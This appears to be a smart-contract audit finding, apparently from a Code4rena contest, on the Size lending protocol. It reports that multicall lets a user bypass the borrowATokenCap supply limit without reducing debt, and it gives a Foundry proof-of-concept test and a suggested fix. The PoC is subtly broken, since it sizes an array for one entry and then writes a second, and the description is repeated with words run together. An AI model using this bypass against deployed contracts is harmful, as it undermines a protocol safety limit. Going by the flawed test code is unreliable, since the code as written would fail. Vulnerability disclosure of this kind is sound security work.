Description: The borrowATokenCap is the maximum amount of borrowAtokens in circulation and it is a safety measure taken by the protocol to limit its supply as the protocol grows. The protocol allows a user to bypass the borrowATokenCap using a muticall function on the condition that a debt reduction will also take place. However that is not the case as the calculation to enforce this is incorrect.
Impact: If the borrowATokenCap is reached, the Multicall function can be used to bypass the check and use the protocol functions normally without having to reduce the debt in the protocol.
Proof of Concept:
function test_Multicall_multicall_bypasses_cap_for_all_operations() public {
_setPrice(1e18);
uint256 amount = 100e6;
uint256 cap = amount + size.getSwapFee(100e6, 365 days);
_updateConfig("borrowATokenCap", cap);
_deposit(alice, usdc, cap);
_deposit(bob, weth, 200e18);
_buyCreditLimit(alice, block.timestamp + 365 days, YieldCurveHelper.pointCurve(365 days, 0.1e18));
uint256 debtPositionId = _sellCreditMarket(bob, alice, RESERVED_ID, amount, 365 days, false);
uint256 futureValue = size.getDebtPosition(debtPositionId).futureValue;
vm.warp(block.timestamp + 365 days);
assertEq(_state().bob.debtBalance, futureValue);
_mint(address(usdc), bob, amount);
_approve(bob, address(usdc), address(size), amount);
// attempt to deposit to repay, but it reverts due to cap
vm.expectRevert(abi.encodeWithSelector(Errors.BORROW_ATOKEN_CAP_EXCEEDED.selector, cap, cap + amount));
vm.prank(bob);
size.deposit(DepositParams({token: address(usdc), amount: amount, to: bob}));
assertEq(_state().bob.debtBalance, futureValue);
// Bob uses the multicall to deposit usdc and open a buyCreditLimit order
bytes[] memory data = new bytes[](1);
data[0] = abi.encodeCall(size.deposit, DepositParams({token: address(usdc), amount: amount, to: bob}));
data[1] = abi.encodeCall(
size.buyCreditLimit,
BuyCreditLimitParams({maxDueDate: block.timestamp + 1 days, curveRelativeTime: YieldCurveHelper.flatCurve()})
);
vm.prank(bob);
size.multicall(data);
}
Recommended Mitigation: Changing the state.data.borrowAToken.balanceOf(address(this)) to state.data.borrowAToken.totalSupply() should fix this issue.
Lines of code
https://github.com/code-423n4/2024-06-size/blob/8850e25fb088898e9cf86f9be1c401ad155bea86/src/libraries/Multicall.sol#L29 https://github.com/code-423n4/2024-06-size/blob/8850e25fb088898e9cf86f9be1c401ad155bea86/src/libraries/Multicall.sol#L37
Vulnerability details
Description: The
borrowATokenCap
is the maximum amount of borrowAtokens in circulation and it is a safety measure taken by the protocol to limit its supply as the protocol grows. The protocol allows a user to bypass theborrowATokenCap
using a muticall function on the condition that a debt reduction will also take place. However that is not the case as the calculation to enforce this is incorrect.Found in Multicall.sol#L29
Found in Multicall.sol#L37
Impact: If the
borrowATokenCap
is reached, theMulticall
function can be used to bypass the check and use the protocol functions normally without having to reduce the debt in the protocol.Proof of Concept:
Recommended Mitigation: Changing the
state.data.borrowAToken.balanceOf(address(this))
tostate.data.borrowAToken.totalSupply()
should fix this issue.Assessed type
Invalid Validation